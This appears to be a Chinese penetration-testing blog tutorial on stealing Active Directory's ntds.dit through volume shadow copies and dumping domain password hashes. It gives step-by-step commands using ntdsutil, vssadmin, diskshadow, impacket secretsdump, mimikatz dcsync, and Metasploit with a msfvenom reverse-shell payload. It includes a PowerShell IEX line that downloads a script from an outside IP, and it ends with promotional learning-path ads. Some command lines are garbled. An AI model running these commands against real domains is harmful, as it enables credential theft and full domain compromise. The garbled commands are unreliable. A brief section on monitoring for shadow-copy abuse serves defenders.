在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务可以获得文件的副本。
卷影拷贝服务提取NTDS
在活动目录中,所有的数据都保存在ntds.dit
文件中。ntds.dit
是一个二进制文件,存储位置为域控制器的%SystemRoot%ntds\ntds.dit
。ntds.dit
中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。在一般情况下,系统运维人员会利用卷影拷贝服务(Volume Shadow Copy Service, VSS
)实现这些操作。VSS本质上属快照(Snapshot
)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。
一:Ntds的提取
1.1:Ntdsutil.exe提取
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。
实验一:Ntdsutil提取Ntds.dit
步骤一:**在域控制器的命令行环境中创建一个快照。**该快照包含Windows的所有文件,且在复制文件时不会受到Windows锁定机制的限制。
1 ntdsutil snapshot "activate instance ntds" create quit quit
[外链图片转存中...(img-w8r3niXn-1638600130637)]
【一>所有资源获取<一】 1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线
可以看到,创建了一个GUID为{67d45168-4e4a-4b39-bc80-385d9f493dd3}的快照。
步骤二:加载创建的快照
1 ntdsutil snapshot "mount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit
[外链图片转存中...(img-3PQj3wdm-1638600130640)]
步骤三:复制快照中的文件
1 copy C:$SNAP_202012281442_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Public
步骤四:卸载之前加载的快照并删除
1 ntdsutil snapshot "unmount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" "delete {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit
步骤五:查询当前快照
1 ntdsutil snapshot "List All" quit quit
[外链图片转存中...(img-oEtLFJhR-1638600130649)]
1.2:Vssadminn.exe提取
vssadminn
是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。vssadminn 的操作流程和ntdsutil类似。
实验二:Vssadminn提取Ntds.dit
步骤一:在域控制器中打开命令行环境,输入如下命令,创建一个C盘的卷影拷贝
1 vssadmin create shadow /for=c:
步骤二:在创建的卷影拷贝中将ntds.dit 复制出来
1 copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit 2 dir c:\ | findstr "ntds"
步骤三:删除快照
1 vssadmin delete shadows /for=c: /quiet
1.3:Vssown.vbs提取
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs 脚本是由Tim Tomes开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。可以在命令行环境中执行该脚本。该脚本中的常用命令如下:
1 //启动卷影拷贝服务 2 cscript vssown.vbs /start 3 1/创建一个C盘的卷影拷贝 4 cscript vssown.vbs /create c 5 //列出当前卷影拷贝 6 cscript vssown.vbs /list 7 //删除卷影拷贝 8 cscript vssown.vbs /delete
实验三:Vssown.vbs提取Ntds.dit
步骤一:启动卷影拷贝服务
1 cscript vssown.vbs /start
步骤二:创建一个C盘的卷影拷贝
1 cscript vssown.vbs /create c
步骤三:列出当前卷影拷贝
1 cscript vssown.vbs /list
[外链图片转存中...(img-EpTCXOiq-1638600130675)]
步骤四:复制ntds.dit
1 copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit
步骤五:删除卷影拷贝
1 cscript vssown.vbs /delete {9AB33ECE-8FF2-49A8-9305-101993C6648E}
[外链图片转存中...(img-MaWDKWPs-1638600130682)]
1.4:Ntdsutil的IFM
使用创建一个IFM的方式获取NTDS。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds. dit
和计算机的SAM文件复制到目标文件夹中等操作。这些操作也可以通过PowerShell或WMI远程执行。
实验四:Ntdsutil创建卷影拷贝
步骤一:在域控制器中以管理员模式打开命令行
1 ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
[外链图片转存中...(img-isq3g7PV-1638600130684)]
步骤二:将ntds.dit复制到**c:\test\Active Directory\**
文件夹下,将SYSTEM和SECURITY复制到**c:\test\registry**
文件夹下
1 dir "c:\test\Active Directory" 2 dir "c:\test\registry"
[外链图片转存中...(img-IYIg08vZ-1638600130687)]
步骤三:将ntds.dit拖回本地,删除test文件夹
1 rmdir /s /q "C:\test"
步骤四:nishang中有一个powershell脚本**copy-vss.ps1**
通过改脚本可以将:SAM/SYSTEM/Ntds.dit文件复制到与改脚本相同的目录...(github上可下载Copy-VSS.ps1)
1 import-module .\Copy.VSS.ps1 2 Copy-vss
备注:Powershell语法...
1 IEX (New-Object Net.WebClient).DownloadString('39.xxx.xxx.210/Nishang/Gat…%3BCopy-VSS "http://39.xxx.xxx.210/Nishang/Gather/Copy-VSS.ps1');Copy-VSS")
1.5:DiskShadow
微软官方文档中有这样的说明:“diskshadow.exe 这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe 使用了一种交互式命令解释器, 与DiskRaid或DiskPart类似。”事实上,因为diskshadow的代码是由微软签名的,而且Windows Server 2008
、Windows Server 2012
和Windows Server 2016
都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds dit。diskshadow的功能与vshadow类似,且同样位于C:windows\system32\
目录下。不过,vshdow是包含在Windows SDK中的,在实际应用中可能需要将其上传到目标机器中。
diskhadow 有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exee调取一个脚本 文件来执行相关命令。下面通过实验讲解diskshadow的常见命令及用法。
1 diskshadow.exe /? #查看diskshadow.exe的帮助信息
实验五:DiskShadow提取Ntds.dit
步骤一:在渗透测试中,可以使用diskshadow.exe来执行命令。例如,将需要执行的命令"exec c:\windows\system32\calc.exe
"写入c盘目录下的command.txt文件,使用diskshadow.exe执行该文件中的命令
1 c:>diskshadow /s c:\commmand.txt
[外链图片转存中...(img-sGGU84Rm-1638600130696)]
步骤二:使用diskshadow.exe加载command.txt文件时需要在c:\windows\system32下执行....
1 c:\Windows\System32>diskshadow /s c:\command.txt
1 //设置卷影拷贝 2 set context persistent nowriters 3 //添加卷 4 add volume c: alias someAlias> 5 //创建快照 6 create> 7 //分配虚拟磁盘盘符 8 expose %someAlias% k:> 9 //将ntds.dit复制到C盘c:\ntds.dit 10 exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit> 11 //删除所有快照 12 delete shadows all> 13 //列出系统中的卷影拷贝 14 list shadows all> 15 //重置 16 reset> 18 //退出 19 exit
步骤三:导出ntds.dit后,可以将system.hive
转储。因为system.hive
中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息。
1 c:>reg save hklm\system c:\windows\temp\system.hive
[外链图片转存中...(img-jg1vh1zI-1638600130703)]
在使用DiskShadow过程中,需要注意以下几点:
-
渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。* 在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。* 在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。* 在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。* 在使用diskshadow.exe导出ntds.dit时,必须在C:\windows\system32\中进行操作。* 脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。### 1.6:监控卷影拷贝
通过监控卷影拷贝服务的使用情况可以及时发现攻击者在系统中进行的一些恶意操作...
-
监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。* 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。* 监控创建dkshndko.exe及相关子进程的事件。* 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。* 通过日志监控新出现的逻辑驱动器映射事件。二:Ntds散列值
当我们获得了域控上的NTDS.dit文件后,我们肯定要想办法从中到处其中的散列值.....
2.1:EseDBexport
从NTDS.dit中导出用户表的第一步就是使用libesedb中的esedbexport,你可以下载到最新版本。
步骤一:安装依赖
1 apt-get install autoconf automake autopoint libtool pkg-config
步骤二:进行安装
1 ./configure2./configure 2./configure2 make 3 sudomakeinstall4sudo make install 4sudomakeinstall4 sudo ldconfig
步骤三:到/usr/local/bin/下查看esedbexport工具
[外链图片转存中...(img-SjTkHHdy-1638600130705)]
步骤四:使用该工具提取ntds.dit中的表并将结果存放在ntds.dit.export中。
[外链图片转存中...(img-tpvGhg0C-1638600130706)]
两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文件夹中.
一旦表被提取出来,很多python工具可以将这些表中的信息进一步提取,比如ntdsxtract
就可以完美进行。
步骤五:安装ntdsxtract
1 gitclonehttps://github.com/csababarta/ntdsxtract.git2git clone GitHub - csababarta/ntdsxtract: Active Directory forensic framework 2gitclonehttps://github.com/csababarta/ntdsxtract.git2 cd ntdsxtract/ 3 $ python setup.py build && python setup.py install
步骤六:将ntds.dit.export文件夹和system放在同一目录下,执行如下命令:
1 dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive system --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt
[外链图片转存中...(img-SH4J8si0-1638600130708)]
使用以下命令导出域内计算机信息及其他信息,将会导出为all_computers.csv文件。
1 dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
[外链图片转存中...(img-eKJxnyP5-1638600130710)]
2.2:Impacket
使用Impacket工具包中的Secretsdump也可以解析Ntds.dit文件从而导出散列值.
实验二:Impacket导出散列值
方法一:在Kali Linux执行以下操作
1 git clone github.com/csababarta/… 2 ┌──(root kali)-[/tools/ntdsxtract] 3 └─# python setup.py install 4 ┌──(root kali)-[/tools/ntdsxtract] 5 └─# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL #导出ntds.dit中的散列值。
[外链图片转存中...(img-BIdTcPPP-1638600130713)]
方法二:impacket还可以通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值。
1 impacket-secretsdump -hashes <hashdump值> -just-dc testlab.com/Administrator@1.1.1.8
2.3:NTDSDumpex
使用NTDSDumpex.exe
可以进行导出散列值的操作。NTDSDumpex将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录下,打开命令行环境,输人如下命令,导出域账号和域散列值....
1 C:\Users\Administrator\Desktop>NTDSDumpEx.exe -d ntds.dit -s system
三:散列值获取
以下为其他方式获取NTDS.dit的散列值....
3.1:Mimikatz
mimikaz有一个 dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit
实验一:Mimikatz抓取域散列值
方法一:在域内的任意一台计算机,以管理员权限打开命令行环境
1 lsadump::dcsync /domain:hello.testlab.com /all /csv #导出域内所有用户名及散列值 2 lsadump::dcsync /domain:hello.testlab.com /user:Administrator #导出用户Administrator的散列值。
3 privilege::debug 4 lsadump::lsa /inject #转储lsass.exe进程对散列值进行Dump操作 5 如果没有预先执行prvile::debug命令,将导致权限不足、读取失败。如果用户数量太多,mimikatz 无法完全将其显示出来,可以先执行log命令(会在mimikatz目录下生成一个文本文件,用于记录mimikaz的所有执行结果)。
方法二:Invoke _DCSync.ps1可以利用desync直接读取ntds.dit,以获取域账号和域散列值,输人"Invoke-DCSync -PWDumpFormat
"命令(-PWDumpFormat
参数用于对输出的内容进行格式化)
1 PS C:\Users\Administrator> Import-Module .\Invoke-DCSync.ps1 2 PS C:\Users\Administrator> Invoke-DCSync -PWDumpFormat
3.2:Metasploit
在获取目标主机后通过Ngrok内网穿透获取shell在通过以下操作......获取到域散列值....
实验二:Metasploit获取域散列值
方法一:Psexec_ntdsgrab模块
1 msf6 auxiliary(admin/smb/psexec_ntdsgrab) > back 2 msf6 > use auxiliary/admin/smb/psexec_ntdsgrab 3 msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show options
4 Module options (auxiliary/admin/smb/psexec_ntdsgrab):
5 Name Current Setting Required Description
6 CREATE_NEW_VSC false no If true, attempts to create a volume shadow copy 7 RHOSTS 1.1.1.8 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' 8 RPORT 445 yes The SMB service port (TCP) 9 SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing 10 SERVICE_DISP.LAY_NAME no The service disp.lay name 11 SERVICE_NAME no The service name 12 SMBDomain hello.testlab no The Windows domain to use for authentication 13 SMBPass 123456Aa no The password for the specified username 14 SMBSHARE C$ yes The name of a writeable share on the server 15 SMBUser Administrator no The username to authenticate as 16 VSCPATH no The path to the target Volume Shadow Copy 17 WINPATH WINDOWS yes The name of the Windows directory (examples: WINDOWS, WINNT)
18 msf6 auxiliary(admin/smb/psexec_ntdsgrab) > run
19 获取到ntds.dit文件和system复制到/root/.msf6/loot文件夹下,使用impacket工具包进行解析ntds.dit文件。
模块二:基于Meterpreter会话获取域账户与域名散列值....
1 msf6 > use exploit/multi/handler #创建监听 2 [*] Using configured payload generic/shell_reverse_tcp 3 msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp 4 payload => windows/x64/meterpreter/reverse_tcp 5 msf6 exploit(multi/handler) > set lhost 1.1.1.5 6 lhost => 1.1.1.5 7 msf6 exploit(multi/handler) > set lport 777 8 lport => 777
9 ┌──(root kali)-[/var/www/html] 10└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=777 -f exe > ser.exe #生成的文件上传到目标机器并执行
11 msf6 exploit(multi/handler) > exploit -j -z 12 [] Exploit running as background job 0. 13 [] Exploit completed, but no session was created. 14 [*] Started reverse TCP handler on 1.1.1.5:777
15 msf6 exploit(multi/handler) > use post/windows/gather/credentials/domain_hashdump #使用后渗透模块获取账户和域散列值。 16 msf6 post(windows/gather/credentials/domain_hashdump) > show options 17 msf6 post(windows/gather/credentials/domain_hashdump) > set SESSION 2 18 SESSION => 2 19 msf6 post(windows/gather/credentials/domain_hashdump) > exploit
3.3:Vshadow与QuarksPwDump
在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进人域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
QuarksPwDump
可以快速、安全、全面地读取全部域账号和域散列值。
ShadowCopy
是一款免费的增强 型文件复制工具。ShadowCopy 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件。
vshdow.exe
是从Windows SDK中提取出来的。在本实验中,安装vshadow.exe 后,会在VSSDK72\TestApps\vshadow目录下生成一个bin文件vshadow.xce (可以将该文件单独提取出来使用)将文件全部放人domainhash文件夹中
在shadowcopy.bat中设置工作目录为C:Windows\Temp(目录可以在shadowcopy.bat中自行设置)
执行shaowopba脚本(该脚本使用vshadow.exe生成快照),复制ntds.dit.然后,使用QuarksPwDump修复ntds.dit并导出域散列值。运行该脚本后,会在刚刚设置的工作目录下存放导出的ntds.dit和hash.txt(包含域内所有的域账号及其散列值)。
四:域提权漏洞
4.1:MS14-068
微软在2014年1月18日发布了一个紧急补了,修复了Kerhers 城用户提权漏润(MS14-068 CVE201462424)所有Windwos服务器操作系统都会受该漏洞的影响,包括WindowsServer2003
、Windows Server 2008``Windows Sever 2008 R2
、Windows Server 2012
和Wins2012R2
。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将城内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了城内任何台计算机的Shell 权限,同时知道任意城用的用户名、SID、密码,即可获得城管理员权限,进而控制域控制器,最终获得域权限。
网络安全入门学习路线
其实入门网络安全要学的东西不算多,也就是网络基础+操作系统+中间件+数据库,四个流程下来就差不多了。
1.网络安全法和了解电脑基础
其中包括操作系统Windows基础和Linux基础,标记语言HTML基础和代码JS基础,以及网络基础、数据库基础和虚拟机使用等...
别被这些看上去很多的东西给吓到了,其实都是很简单的基础知识,同学们看完基本上都能掌握。计算机专业的同学都应该接触了解过,这部分可以直接略过。没学过的同学也不要慌,可以去B站搜索相关视频,你搜关键词网络安全工程师会出现很多相关的视频教程,我粗略的看了一下,排名第一的视频就讲的很详细。 当然你也可以看下面这个视频教程仅展示部分截图: 学到http和https抓包后能读懂它在说什么就行。
2.网络基础和编程语言
3.入手Web安全
web是对外开放的,自然成了的重点关照对象,有事没事就来入侵一波,你说不管能行吗! 想学好Web安全,咱首先得先弄清web是怎么搭建的,知道它的构造才能精准打击。所以web前端和web后端的知识多少要了解点,然后再学点python,起码得看懂部分代码吧。
最后网站开发知识多少也要了解点,不过别紧张,只是学习基础知识。
等你用几周的时间学完这些,基本上算是具备了入门合格渗透工程师的资格,记得上述的重点要重点关注哦! 再就是,要正式进入web安全领域,得学会web渗透,OWASP TOP 10等常见Web漏洞原理与利用方式需要掌握,像SQL注入/XSS跨站脚本攻击/Webshell木马编写/命令执行等。
这个过程并不枯燥,一边打怪刷级一边成长岂不美哉,每个攻击手段都能让你玩得不亦乐乎,而且总有更猥琐的方法等着你去实践。
学完web渗透还不算完,还得掌握相关系统层面漏洞,像ms17-010永恒之蓝等各种微软ms漏洞,所以要学习后渗透。可能到这里大家已经不知所云了,不过不要紧,等你学会了web渗透再来看会发现很简单。
其实学会了这几步,你就正式从新手小白晋升为入门学员了,真的不算难,你上你也行。
4.安全体系
不过我们这个水平也就算个渗透测试工程师,也就只能做个基础的安全服务,而这个领域还有很多业务,像攻防演练、等保测评、风险评估等,我们的能力根本不够看。
所以想要成为一名合格的网络工程师,想要拿到安全公司的offer,还得再掌握更多的网络安全知识,能力再更上一层楼才行。即便以后进入企业,也需要学习很多新知识,不充实自己的技能就会被淘汰。
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
尾言
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,最后联合CSDN整理了一套【282G】网络安全从入门到精通资料包,需要的小伙伴可以点击链接领取哦! 网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!